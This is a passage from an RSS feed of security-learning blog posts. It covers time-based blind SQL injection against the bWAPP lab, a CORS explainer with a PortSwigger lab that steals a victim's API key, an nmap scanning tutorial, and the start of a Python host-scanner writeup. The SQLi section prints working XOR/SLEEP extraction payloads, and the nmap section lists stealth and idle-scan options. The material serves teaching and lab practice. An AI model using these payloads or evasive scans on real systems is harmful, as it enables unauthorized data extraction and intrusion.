sorted array. It works by repeatedly dividing the search interval in half until the target value is found or the interval is empty. The search interval is halved by comparing the target element with the middle value of the search space.</p><p>Below is the step-by-step algorithm for Binary Search:</p><ul><li>Divide the search space into two halves by <strong>finding the middle_index “mid”</strong></li><li>Compare the middle element of the search space with the <strong>key</strong>.</li><li>If the <strong>key </strong>is found at middle element, the process is terminated.</li><li>If the <strong>key </strong>is not found at middle element, choose which half will be used as the next search space.</li><li>If the <strong>key </strong>is smaller than the middle element, then the <strong>left </strong>side is used for next search.</li><li>If the <strong>key </strong>is larger than the middle element, then the <strong>right </strong>side is used for next search.</li><li>This process is continued until the <strong>key </strong>is found or the total search space is exhausted.</li></ul><p>That means you can reduce 100 query to 7, saved us 93 query . If one query takes 5 second it makes 465 second and let’s say there is 20 character, this method save us 92965 second.</p><p>Yeah this method seems fine but we are comparing stringer values how this is going to help us?</p><p>In SQL there is ASCII function that returns character’s ASCII values. In this this picture you can see every characters ASCII value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpGXlVh0exZ0gAFICt4P7g.png" /></figure><p>Look at this table, as you can see our characters start at 32 and finish at 126.</p><p>How you can implement binary search to SQli:</p><ol><li>Find the “mid”.(32+126)//2=79</li><li>Compare your character to mid</li><li>If yours is smaller search at the left side</li><li>If yours is bigger search at the right side</li><li>Repeat this actions till find your character</li></ol><p>Okay, Let’s find database name with this new method. Our payload is going to be like this:</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) &gt;=79,sleep(1),1))XOR’</strong></p><p>IF first letter’s ASCII value greater than or equal to 79 application will sleep. Run the query you’ll see app is waiting. Now :</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) =79,sleep(1),1))XOR’</strong></p><p>Check is value equal to 79. App didn’t waited.Now mid is going to (79+126)//2 = 102 :</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) &gt;=102,sleep(1),1))XOR’</strong></p><p>Application didn’t sleep value is less than 102. Mid is going to be (79+102)//2 = 90:</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) &gt;=90,sleep(1),1))XOR’</strong></p><p>Application did sleep. Check is value equal to 90. Nope it isn’t. mid: (90+102)//2 = 96:</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) &gt;=96,sleep(1),1))XOR’</strong></p><p>Application waited check is value equal to 96.NO,okay keep going this time mid: (96+102)//2=99:</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) &gt;=99,sleep(1),1))XOR’</strong></p><p>Application didn’t sleep. mid:(96+99)//2=97 :</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) &gt;=97,sleep(1),1))XOR’</strong></p><p>App waited check is value equal to 97. Nope but there is only one number left ,congratulations you find the value it is 98.You can check it:</p><p><strong>‘XOR(IF((SELECT ASCII(SUBSTRING(database(),1,1))) =98,sleep(1),1))XOR’</strong></p><p>Look at the ASCII table you see 98 is “b”. We knew it from earlier that database name is “bWAPP” that mean we found it correct.You can find other characters with changing index of substring. As you can see this method is way faster than last one. If you count the last request, we found the character with only 11 request. But if you try to guess character one by one with first method this will take 94 request to check every character. And at last you could be wrong cause in MySQL :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*uN1y0zmLauF-Gqg_VFRKow.png" /></figure><p>a=A returns TRUE. You will find database name bwapp however real name is bWAPP. But their ASCII values are different:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*5hgdBp8UJM-Eoi2dY7wsYQ.png" /></figure><p>As you can see, the second method is both faster and more accurate.</p><p>You can find table_names,column_names with this method, It still take time but it is shorter than checking every character.Your payloads will be like:</p><p><strong>‘XOR(if((SELECT ASCII(SUBSTRING(table_name,1,1)) FROM information_schema.tables WHERE table_schema=”bWAPP” LIMIT 1) &gt;=79,sleep(5),1))XOR’</strong></p><p>In this article i did exploit SQLi interactively working with app. You can check out my other article where i write script for exploiting blind SQLi and explain how can you write your own script.</p><p><a href="https://medium.com/@negan0/blind-sql-injection-f4d2b7b04a95">Blind SQL injection</a></p><p>I hope you enjoyed this article and found it informative. I did my best to explain everything clearly for better understanding. I highly recommend exploring bWAPP on yourself — it’s an excellent application for learning about web vulnerabilities. Bye!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c78bfbd255be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-origin resource sharing]]></title>
            <link>https://medium.com/@negan0/cross-origin-resource-sharing-1622c939dfa4?source=rss-cef535fc4ff4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1622c939dfa4</guid>
            <category><![CDATA[same-origin-policy]]></category>
            <category><![CDATA[cors]]></category>
            <category><![CDATA[cross-origin]]></category>
            <dc:creator><![CDATA[negan0]]></dc:creator>
            <pubDate>Tue, 14 Jan 2025 19:24:18 GMT</pubDate>
            <atom:updated>2025-01-14T19:24:18.794Z</atom:updated>
            <content:encoded><![CDATA[<p>David came across a LinkedIn post or an article about CORS that mentioned terms like “web,” “attacking,” and “cross-site” and see a lot of basic knowledge before learning CORS, he gets bored (not fully reads) He saw terms about web and assume it is web attack then leave. This is a common mistake. There are a lot of people like David, not reading articles fully, skimming through content, takin a look and leavin. Don’t be like David , let’s begin with foundations and learn SOP for better understanding about CORS.</p><p>Before beginning to learn CORS(Cross-origin resource sharing) , we have to know what is SOP(Same-origin policy) because there is a misconception about CORS that people think, it is a way to prevention of CSRF(Cross site request forgery) attacks or it is an web attack vector.</p><h4><strong>SOP(</strong>Same-origin policy)</h4><p>Basically, The same-origin policy is a web browser security mechanism that aims to protect webpage from an attack coming from other origin.</p><p>Imagine two websites, http://example1.com and http://example2.com. Without the Same-Origin Policy, a malicious script on example1.com could send requests to example2.com using the user’s credentials (cookies or session tokens stored in the browser). The script could then access private data from the response and steal sensitive information. This is why the Same-Origin Policy exists: it restricts scripts on one origin from accessing data from another origin .An origin consists of a URI scheme, domain and port number. For example</p><p><a href="http://normal-website.com/example/example.html">http://normal-website.com/example/index.html</a></p><p>This uses the scheme http, the domain example.com, and the port number 80(http). Let’s look at the this picture below to fully understand this concept.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*FvWtnM59h9lw0-MR7kg_XQ.png" /></figure><h4><strong>1. </strong><strong>http://normal-website.com/example/</strong></h4><ul><li><strong>Access permitted?</strong>: Yes</li><li><strong>Reason</strong>: The scheme (http), domain (normal-website.com), and port (default 80 for http) are identical to the requesting origin. This makes it the same origin.</li></ul><h4>2. http://normal-website.com/example2/</h4><ul><li><strong>Access permitted?</strong>: Yes</li><li><strong>Reason</strong>: The only difference is the path (/example2/ vs /example/). SOP doesn’t consider the path; it only checks the scheme, domain, and port. Since those are the same, access is permitted.</li></ul><h4>3. https://normal-website.com/example/</h4><ul><li><strong>Access permitted?</strong>: No</li><li><strong>Reason</strong>: The scheme differs (https vs http). Even though the domain (normal-website.com) and port (default for http is 80, and for https is 443) are otherwise valid, the differing scheme makes it a different origin.</li></ul><h4>4. http://en.normal-website.com/example/</h4><ul><li><strong>Access permitted?</strong>: No</li><li><strong>Reason</strong>: The subdomain (en.normal-website.com) differs from the original domain (normal-website.com). SOP considers subdomains part of the domain, so they are treated as separate origins.</li></ul><h4>5. http://www.normal-website.com/example/</h4><ul><li><strong>Access permitted?</strong>: No</li><li><strong>Reason</strong>: Similarly, the subdomain (www.normal-website.com) differs from the original domain (normal-website.com). This makes it a different origin according to SOP. This was interesting to me because i used to think www doesn’t make any difference but i was wrong it is a subdomain that means it is a different origin.</li></ul><h4>6. http://normal-website.com:8080/example/</h4><ul><li><strong>Access permitted?</strong>: No</li><li><strong>Reason</strong>: The port (8080) is different from the default port for http (80). SOP treats requests with different ports as being from different origins, even if the scheme and domain match.</li></ul><h3>Why is the same-origin policy necessary?</h3><p>When a browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request. This means that the response will be generated within the user’s session, and include any relevant data that is specific to the user. Without the same-origin policy, if you visited a malicious website, it would be able to read your emails from G-Mail, private messages , etc. Check the origin of request before answering. Now we know what SOP is. Let’s begin learning CORS.</p><h3>CORS</h3><p>But SOP has inadequacy ,it is very rectrictive , it isn’t the best way because you may need data from your subdomains or another domain, that’s how CORS showed up. Cross-origin resource sharing(CORS) extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain attacks, if a website’s CORS policy is poorly configured and implemented. Remember, CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).</p><p>The cross-origin resource sharing protocol uses a suite of HTTP headers that define trusted web origins and associated properties such as whether authenticated access is permitted. These are combined in a header exchange between a browser and the cross-origin web site that it is trying to access.</p><p>If we want to know which origins are allowed and whether the browser includes credentials in the response, we need to check the HTTP response headers:</p><ul><li><strong>Access-Control-Allow-Origin</strong> : Specifies which origins are allowed.</li><li><strong>Access-Control-Allow-Credentials</strong>: Indicates if credentials (cookies) are included in the request/response.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R67kHldBsLYU_xyD-YgUzQ.jpeg" /></figure><h3>Access-Control-Allow-Origin response header</h3><p>Let’s say we sending this request:</p><pre>GET /data HTTP/1.1<br>Host: example.com<br>Origin : https://evil.com</pre><p>And we get respond:</p><pre>HTTP/1.1 200 OK<br>...<br>Access-Control-Allow-Origin: https://evil.com</pre><p>The browser will allow code running on https://evil.com to access the response because the origins match.</p><p>The specification of Access-Control-Allow-Origin allows for multiple origins, or the value null, or the wildcard *</p><h3>Cross-origin resource requests with credentials</h3><p>The default behavior of cross-origin resource requests is for requests to be passed without credentials like cookies and the Authorization header. However, the cross-domain server can permit reading of the response when credentials are passed to it by setting the CORS Access-Control-Allow-Credentials header to true. Now if the requesting website uses JavaScript to declare that it is sending cookies with the request:</p><pre>GET /data HTTP/1.1<br>Host: example1.com<br>...<br>Origin: https://evil.com<br>Cookie: thereiscookiehere</pre><p>And the response:</p><pre>HTTP/1.1 200 OK<br>...<br>Access-Control-Allow-Origin: https://normal-website.com<br>Access-Control-Allow-Credentials: true</pre><p>Then the browser will permit the requesting website to read the response, because the Access-Control-Allow-Credentials response header is set to true. Otherwise, the browser will not allow access to the response.</p><h3>CORS specifications with wildcards</h3><p>The header Access-Control-Allow-Origin supports wildcards. For example:</p><pre>Access-Control-Allow-Origin: *</pre><p>But you can’t use within any other value. For example, the following header is <strong>not</strong> valid:</p><pre> Access-Control-Allow-Origin: <a href="https://*.normal-website.com/">https://*.normal-website.com</a></pre><p>Fortunately, from a security perspective, the use of the wildcard is restricted in the specification as you cannot combine the wildcard with the cross-origin transfer of credentials (authentication, cookies or client-side certificates). Consequently, a cross-domain server response of the form:</p><pre>Access-Control-Allow-Origin: *<br>Access-Control-Allow-Credentials: true</pre><p>is not permitted as this would be dangerously insecure, exposing any authenticated content on the target site to everyone.</p><h3>Pre-flight checks</h3><p>There are other headers like:</p><ul><li>Access-Control-Allow-Methods</li></ul><p>Specifies the HTTP methods (e.g., GET, POST) allowed for cross-origin requests.</p><ul><li>Access-Control-Allow-Headers</li></ul><p>Lists the headers that can be included in the request.</p><ul><li>Access-Control-Max-Age</li></ul><p>Specifies how long the pre-flight request (OPTIONS) can be cached by the browser.</p><p>For checking this headers you can use http OPTIONS method.</p><p>We covered what is CORS and how it is implemented . Everything’s fine till here (on the theory). But for understanding CORS better let’s do a lab from portswigger. Practice makes perfect!</p><h3>Lab: CORS vulnerability with basic origin reflection</h3><p>First, access the lab and login with given credentials (wiener:peter). We see there is an API Key and the aim of the lab is steal victim’s API key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*y_n1JEcJFSXH8Ru9SxZmGA.png" /></figure><p>I am going to use Burp suite and try changing email and intercept the request for analyzing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0uk4Uk8JwMleZJL1k3Od1w.png" /></figure><p>I have found the /accountdetails endpoint and this endpoint have users credentials. The request’s origin was it’s own domain that mean same-origin. Let’s add origin header to the request and give it cross-origin to see is it allowed or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7rQymOFtt8gVxZZhY9FUnA.png" /></figure><p>We add <a href="https://evil.com/">https://evil.com</a> origin to our request and our respond was</p><pre>Access-Control-Allow-Origin: https://evil.com<br>Access-Control-Aloow-Credentials: true</pre><p>We talked about this header early. We see <a href="https://evil.com/">https://evil.com</a> is allowed origin that means probably they use *(wildcard) for allowed origins and will add credentials to all requests. This is a treasure for attacker they can easly stole victim’s credentials.</p><p>Now we create a webpage and write some scripts to steal API key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LsUCnUlhR_UcbVXAG85KPg.png" /></figure><p>This is the website i created. when button is clicked , I used fetch to send request and show the content in the browser. But we have to use exploit server and make when victim opens page, data will send to our exploit server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cM1Dq4Bkq_D8R8AaK6LPIg.png" /></figure><p>I made few changes. Removed button and call the function when page is loaded. And I send data to exploit server’s logs. Let’s look at the logs and see is there victim’s data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EaNkTZrEqiPkDINlcXQ_Ng.png" /></figure><p>We see our victim’s name — administrator, and API key. copy the key and submit to solution.</p><p>In this lab, we explore the potential risks of allowing all cross-origin requests to our origin, especially when credentials are included, and how this can lead to security vulnerabilities. Misconfiguration of CORS can lead big problems make sure only allow trusted origins.</p><p>Thanks for reading article till here. Well, You are not like David ) . I hope this article was useful for you. Bye)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1622c939dfa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NETWORK SCANNING]]></title>
            <link>https://medium.com/@negan0/network-scanning-83f90bcaf9eb?source=rss-cef535fc4ff4------2</link>
            <guid isPermaLink="false">https://medium.com/p/83f90bcaf9eb</guid>
            <category><![CDATA[network-scanning]]></category>
            <dc:creator><![CDATA[negan0]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 08:38:31 GMT</pubDate>
            <atom:updated>2024-12-30T08:38:31.708Z</atom:updated>
            <content:encoded><![CDATA[<p>Before we begin what is Network Scanning, first what is Network and why are we scanning it?</p><p>A network is a system of interconnected devices, such as computers, servers, routers, switches, and other hardware components, that allows communication and resource sharing like data, files, and services. Networks can be categorized based on their size, architecture, and purpose. But this is not our topic. If you want to learn more about Network you can look at this <a href="https://www.ibm.com/topics/networking">page</a> .</p><p>Now we learned what is network. But still why are we scanning this network?</p><p>Scanning a network is an essential process for monitoring, troubleshooting, and securing a network. Here are the primary reasons why network scanning is performed:</p><ul><li><strong>Security</strong>: To identify vulnerabilities, open ports, and potential entry points for attackers. Scanning helps detect unauthorized devices, malware, or suspicious activity on the network.</li><li><strong>Network Management</strong>: To assess the health and performance of the network by discovering devices, tracking their status, and ensuring proper communication between devices.</li><li><strong>Inventory and Device Discovery</strong>: Scanning helps to discover all the devices connected to the network (e.g., printers, computers, servers, routers) and maintain an updated inventory of network resources.</li><li><strong>Compliance and Auditing</strong>: Organizations may scan their networks to ensure they comply with industry standards, security regulations, and best practices.</li><li><strong>Troubleshooting</strong>: When there is a network issue, scanning can help identify misconfigurations, bottlenecks, or faulty devices, enabling quicker resolution.</li><li><strong>Patch Management</strong>: Scanning can identify outdated or vulnerable software and operating systems that require updates or patches to protect against security risks.</li></ul><p>For scanning network we can use different tools like nmap , zmap , masscan , netdiscover(arp based) , fing or you can use mine i talked about end of the page. But In this article i will show how to scan networks with nmap.</p><h4><strong>NMAP (Network Mapper)</strong></h4><p>Nmap (“Network Mapper”) is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p><h4><strong>TARGET SPESIFICATION</strong></h4><p>Everything on the Nmap command-line that isn’t an option (or option argument) is treated as a target host specification. The simplest case is to specify a target IP address or hostname for scanning.</p><p>When a hostname is given as a target, it is <em>resolved</em> via the Domain Name System (DNS) to determine the IP address to scan. If the name resolves to more than one IP address, only the first one will be scanned. To make Nmap scan all the resolved addresses instead of only the first one, use the --resolve-all option.</p><p>Sometimes you wish to scan all network. Nmap also support CIDR style addressing. Examples:</p><p>one ip address- nmap 10.10.129.12</p><p>octet range- nmap 10.10.129.12 10.10.129.13 10.10.129.15–17</p><p>entire subnet- nmap 10.10.129.0/24</p><p>Also you can exclude ip address. This can be useful when the network you wish to scan includes untouchable mission-critical servers. You can use command--exclude <em>&lt;host1&gt;</em>[,<em>&lt;host2&gt;</em>[,...]] .Example</p><p>nmap 10.10.129.12–19 --exclude 10.10.129.15</p><h4><strong>HOST DISCOVERY</strong></h4><p>One of the very first steps in any network reconnaissance mission is to reduce a (sometimes huge) set of IP ranges into a list of active or interesting hosts. Scanning every port of every single IP address is slow and usually unnecessary. Of course what makes a host interesting depends greatly on the scan purposes. Network administrators may only be interested in hosts running a certain service, while security auditors may care about every single device with an IP address. An administrator may be comfortable using just an ICMP ping to locate hosts on his internal network, while an external penetration tester may use a diverse set of dozens of techniques in an attempt to evade firewall restrictions.</p><p>There are a lot of host discovery options but If no host discovery options are given, Nmap sends an ICMP echo request, a TCP SYN packet to port 443, a TCP ACK packet to port 80, and an ICMP timestamp request. These defaults are equivalent to the -PE -PS443 -PA80 -PP options. The exceptions to this are the ARP scans which are used for any targets on a local ethernet network. These will happen if you are privileged user in linux but For unprivileged linux users, the default techniques are a SYN packet to ports 80 and 443 using the connect system call.</p><p>By default, Nmap does host discovery and then performs a port scan against each host it determines is online. But we can say to nmap don’t do port scan with -sn.</p><p><strong>-sn (No port scan)</strong></p><p>This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery . This is often known as a “ping scan”.</p><p><strong>-sL (List Scan)</strong></p><p>The list scan is a simply lists each host of the network(s) specified, without sending any packets to the target hosts.</p><p><strong>-Pn (No ping)</strong></p><p>This option skips the host discovery stage . Normally, Nmap uses this stage to determine active machines for heavier scanning and to gauge the speed of the network. Disabling host discovery with -Pn causes Nmap to attempt the requested scanning functions against every target IP address specified.</p><p><strong>-PS (TCP SYN Ping)</strong></p><p>This option sends an empty TCP packet with the SYN flag set. The default destination port is 80(you can change it). The SYN flag suggests to the remote system that you are attempting to establish a connection. Normally the destination port will be closed, and a RST (reset) packet sent back. If the port happens to be open, the target will take the second step of a TCP three-way-handshake by responding with a SYN/ACK TCP packet. The machine running Nmap then tears down the connection by responding with a RST rather than sending an ACK packet which would complete the three-way-handshake and establish a full connection.</p><p><strong>-PA (TCP ACK Ping)</strong></p><p>The TCP ACK ping is quite similar to the SYN ping. The difference, as you can guess, is that the TCP ACK flag is set instead of the SYN flag. Such an ACK packet purports to be acknowledging data over an established TCP connection, but no such connection exists. So remote hosts should always respond with a RST packet, disclosing their existence in the process. And default port is 80 like SYN (you canchange it).</p><p><strong>-PU (UDP Ping)</strong></p><p>Another host discovery option is the UDP ping, which sends a UDP packet to the given ports.Upon hitting a closed port on the target machine, the UDP probe should elicit an ICMP port unreachable packet in return. This signifies to Nmap that the machine is up and available.</p><h4><strong>PORT STATES</strong></h4><p>Befro begining port scanning we should understand port states.Port states are the nmap decides port is open , closed i.e from the respond coming from that port . There are 6 port states in Nmap:</p><p><strong>open</strong></p><p>An application is actively accepting TCP connections, UDP datagrams on this port. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls.</p><p><strong>closed</strong></p><p>A closed port is accessible but there is no application listening on it.</p><p><strong>filtered</strong></p><p>Nmap cannot determine whether the port is open because packet filtering prevents its query from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software.</p><p><strong>unfiltered</strong></p><p>The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed.</p><p><strong>open|filtered</strong></p><p>Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited.</p><p><strong>closed|filtered</strong></p><p>This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan.</p><h4>PORT SCANNING</h4><p>Now we know the port states we can begin learning port scanning techniques.</p><p><strong>-sS (TCP SYN scan)</strong></p><p>SYN scan is the default and most popular scan option for good reasons. It can be performed quickly, scanning thousands of ports per second . It is also stealthy since it never completes TCP connections.This technique is often referred to as half-open scanning, because you don’t open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and then wait for a response. A SYN/ACK indicates the port is listening (open), while a RST (reset) is indicative of a non-listener. If no response is received after several retransmissions, the port is marked as filtered.</p><p><strong>-sT (TCP connect scan)</strong></p><p>TCP connect scan is the default TCP scan type when SYN scan is not an option. This is the case when a user does not have raw packet privileges. Instead of writing raw packets as most other scan types do, Nmap asks the underlying operating system to establish a connection with the target machine if connection is established port is open.</p><p><strong>-sU (UDP scans)</strong></p><p>While most popular services on the Internet run over the TCP protocol, <a href="http://www.rfc-editor.org/rfc/rfc768.txt">UDP</a> services are widely deployed. DNS, SNMP, and DHCP (registered ports 53, 161/162, and 67/68) are three of the most common. Because UDP scanning is generally slower and more difficult than TCP, some security auditors ignore these ports. This is a mistake, as exploitable UDP services are quite common and attackers certainly don’t ignore the whole protocol.</p><p><strong>-sN; </strong><strong>-sF; </strong><strong>-sX (TCP NULL, FIN, and Xmas scans)</strong></p><p>Null scan (-sN)</p><p>Does not set any bits (TCP flag header is 0)</p><p>FIN scan (-sF)</p><p>Sets just the TCP FIN bit.</p><p>Xmas scan (-sX)</p><p>Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.</p><p><strong>-sA (TCP ACK scan)</strong></p><p>This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.</p><p><strong>-sW (TCP Window scan)</strong></p><p>Window scan is exactly the same as ACK scan except that it exploits an implementation detail of certain systems to differentiate open ports from closed ones, rather than always printing unfiltered when a RST is returned. It does this by examining the TCP Window field of the RST packets returned. On some systems, open ports use a positive window size (even for RST packets) while closed ones have a zero window. So instead of always listing a port as unfiltered when it receives a RST back, Window scan lists the port as open or closed if the TCP Window value in that reset is positive or zero, respectively.</p><p><strong>-sM (TCP Maimon scan)</strong></p><p>The Maimon scan is named after its discoverer, Uriel Maimon. Nmap, which included this technique. This technique is exactly the same as NULL, FIN, and Xmas scans, except it uses FIN/ACK.</p><p><strong>--scanflags (Custom TCP scan)</strong></p><p>you don’t have to limit yourself with one or two flag.This option can help you to perform scanning with any flag you set. you can use together any combination of URG, ACK, PSH, RST, SYN, and FIN. For example, --scanflags URGACKPSHRSTSYNFIN sets everything. The order these are specified in is irrelevant.</p><p><strong>-sI </strong><strong><em>&lt;zombie host&gt;</em></strong><strong>[:</strong><strong><em>&lt;port&gt;</em></strong><strong>] (idle scan)</strong></p><p>This advanced scan method allows for a truly blind TCP port scan of the target (meaning no packets are sent to the target from your real IP address). Instead, a unique side-channel attack exploits predictable IP fragmentation ID sequence generation on the zombie host to glean information about the open ports on the target. IDS systems will display the scan as coming from the zombie machine you specify (which must be up and meet certain criteria). This is the most stealthy scan.</p><h4><strong>PORT SPECIFICATION</strong></h4><p><strong>p </strong><strong><em>&lt;port ranges&gt; </em>(Only scan specified ports)</strong></p><p>if you don’t specify any port nmap use most common 1000 ports to scan</p><p>for spesific port- nmap 10.10.129.12 p80,443,10–100</p><p><strong>-p-</strong>Nmap will scan all 65535 ports</p><p><strong>-F (Fast scan)</strong></p><p>Specifies that you wish to scan fewer ports than the default. Normally Nmap scans the most common 1,000 ports for each scanned protocol. With -F, this is reduced to 100.</p><p><strong>--exclude-ports (Exclude the specified ports from scanning</strong>)</p><p>This option specifies which ports you do want Nmap to exclude from scanning.</p><h4>OS and Version Detection</h4><p>-sV (Version detection)</p><p>Enables version detection. Alternatively, you can use -A, which enables version detection among other things.</p><p>-O ( OS detection)</p><p>Enables OS detection, as discussed above. Alternatively, you can use -A to enable OS detection along with other things.</p><p>--osscan-guess</p><p>When Nmap is unable to detect a perfect OS match, it sometimes offers up near-matches as possibilities. The match has to be very close for Nmap to do this by default</p><p><strong>TIMING TEMPLATES</strong></p><p><strong>-T0 (Paranoid):</strong><br>Super slow and cautious. Perfect if you’re trying to avoid detection (like scanning a network where you don’t want anyone to notice). It sends one packet at a time, with long delays between them.</p><p><strong>-T1 (Sneaky):</strong><br>Still very slow and quiet, but not as extreme as -T0. Good for stealthy scans over unstable networks.</p><p><strong>-T2 (Polite):</strong><br>Slower than usual to avoid overwhelming the network. Useful for scanning networks that might be sensitive to high traffic.</p><p><strong>-T3 (Normal):</strong><br>The default. Balanced between speed and caution. This is the &quot;just right&quot; setting for most cases.(if no options giving nmap does this scan by default)</p><p><strong>-T4 (Aggressive):</strong><br>Faster than normal, but it might trigger alarms on firewalls or intrusion detection systems. Good for quick scans when you don’t care about being stealthy.</p><p><strong>-T5 (Insane):</strong><br>The fastest setting. It scans aggressively and is best for very fast networks where you don’t care about stealth or accuracy. It might overwhelm slower networks or miss some results</p><h4><strong>MY HOST SCANNER</strong></h4><p>If you read this article till here you are good to go. You know everything about Network scanning and how to use nmap for every little detail . You can perform any scan but be careful performing network scan could be illegal make sure you have permission before scanning network.</p><p>For host scanning you can use different tools or you can create one . I created my own host scanner .With this github link you can check out my host scanner. I explain further in this article, how it is working and how to use.</p><ul><li><a href="https://github.com/n3g4n0/Host-scanner">GitHub - n3g4n0/Host-scanner</a></li><li><a href="https://medium.com/@negan0/host-scanner-f79a37ffb3be">HOST SCANNER</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83f90bcaf9eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HOST SCANNER]]></title>
            <link>https://medium.com/@negan0/host-scanner-f79a37ffb3be?source=rss-cef535fc4ff4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f79a37ffb3be</guid>
            <category><![CDATA[network-scanning]]></category>
            <dc:creator><![CDATA[negan0]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 08:31:22 GMT</pubDate>
            <atom:updated>2024-12-30T09:02:09.251Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article i will explain my host scanner. This is the github link to host scanner you can check it out.</p><p><a href="https://github.com/n3g4n0/Host-scanner">GitHub - n3g4n0/Host-scanner</a></p><p>First make sure you know what is scanning network if you want to understand article easy. You can check out my article about Network scanning.</p><p><a href="https://medium.com/@negan0/network-scanning-83f90bcaf9eb">NETWORK SCANNING</a></p><p>Alright if you are familiar with the concept of network scanning, let’s start exploring the python script.</p><blockquote><strong>What you can do whit this script?</strong></blockquote><p>You can perform 4 types of scan with 4 different protocol. ARP , ICMP , TCP ,UDP .</p><p>1.ARP — If you are scanning your local network , this option is the best because it is faster. You can use this option with -a argument</p><p>2.ICMP echo-This scan sends ping request to ip address. you can use this option with -p argument</p><p>3.TCP connect-This option uses tcp protocol thats why it needs port too.But if you dont give any port it will use default(80,443). You can use this option with -t argument</p><p>4.UDP-With TCP scan you scan only services uses TCP protocol if there is a service that uses UDP protocol you will not see it.It is better to check both protocols.You can use this option with -u argument</p><blockquote><strong>Explaining the code</strong></blockquote><p>First we import our libraries</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*F9j2tcIjTdoeh66h6MjIMA.png" /></figure><p>Subprocess:</p><p>This library is used to interacting with system commands and processes. I use Subprocess to run the ping command in the background for our <strong>Ping Scan</strong> function. The subprocess.run() function runs the command (like ping -c 1 &lt;ip&gt;) and captures the output, allowing us to check whether the host is alive by analyzing the command’s return code.</p><p>Argparse:</p><p>This library is used to define and parse command-line arguments. This allows the user to specify which scan they want to perform and which target (IP or network) to scan.</p><p>Scapy.all:</p><p>Scapy is one of the most powerful libraries for network packet creation, manipulation, and analysis in Python. In my script, I use Scapy for creating ARP requests and sending custom UDP packets.</p><p>Ipaddress:</p><p>I use ipaddress to handle IP networks and address ranges, especially for the <strong>Ping Scan</strong> and <strong>TCP Connect Scan</strong>. The library makes it easy to generate all possible hosts in a given network or subnet.</p><p>Socket:</p><p>The Socket module is used in our <strong>TCP Connect Scan</strong> to create a socket connection and check if specific TCP ports are open on a target IP.</p><p>SYS:</p><p>i use sys.exit() to exit the program if an invalid port is provided for scanning or if there is a critical error during execution.</p><h3>SCAN TYPES</h3><h4>ARP SCAN:</h4><p>For using ARP scan give -a argument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*vZ3nr_2-PhMS1ha2zOyFMA.png" /></figure><p>First we create a function with def. Second we gave “ip” parametr to it. Then we start creating our ARP packet with giving destination ip address , destination MAC address to broadcast because we don’t know the MAC and we want to know . We combine the packets. Okay, now we using the functionality of scapy “srp” for sending the packet and getting respond. We setting timeout to 3(second) .</p><p>For getting MAC addresses in the respond packet, we gave a loop inside the packet. Packet contains 2 part. First query, Second respond. We need respond that’s why we gave index to [1].</p><p>psrc- It tells us the IP address of the device that responded to our ARP request.</p><p>hwsrc- It tells us the MAC address of the device that responded to our ARP request.</p><h4>ICMP ECHO SCAN:</h4><p>For using ICMP echo scan give -p argument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*aBFBOs1RvwXrhNFu62WZNA.png" /></figure><p>First we doing same thing creating function and giving network parametr. Second The ipaddress.ip_network() function parses this network range and returns an object that allows 